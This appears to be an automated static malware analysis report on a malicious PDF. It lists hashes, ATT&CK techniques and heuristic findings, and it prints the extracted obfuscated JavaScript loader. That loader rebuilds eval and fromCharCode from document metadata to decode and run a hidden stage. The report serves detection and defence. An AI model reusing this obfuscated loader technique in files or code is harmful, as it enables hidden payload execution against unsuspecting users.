Malicious PDF — malware analysis report

Static analysis result for SHA-256 63fb6179b4b7c38d…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-09
MD5: 9b7b06b8b5a8bc569f3fe51360c52777 SHA-1: 1331c08145d3d0d2c02587c0717ac3ec098f5aff SHA-256: 63fb6179b4b7c38dded01ae9c9c37fe9247c65582bfd4ebfcf9e843e6354952e
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

This PDF document contains obfuscated JavaScript, identified by heuristics as a loader. The script reconstructs and executes a string that likely downloads and runs a secondary payload. The document body 'substr pli e test' provides no specific lure, but the presence of a loader indicates a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFF2 482 bytes
SHA-256: d6d8caa72b4b3fd16fcd82a0075d2de0ae22c4b8991ce0eb1ac114f4d6f4ac2b
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
lntts=e(v[4]+'i'.concat(v[4],t));
q=lntts[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
lll=e(e('d'));
sub=v[0];
sub+='ubject';
q=lntts[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	ykdt = 1*(q[i]);
	i++;
	ykdt -= (-1)*(q[i]);
	s2 += lll(ykdt);
	i++;
}
e(s2);

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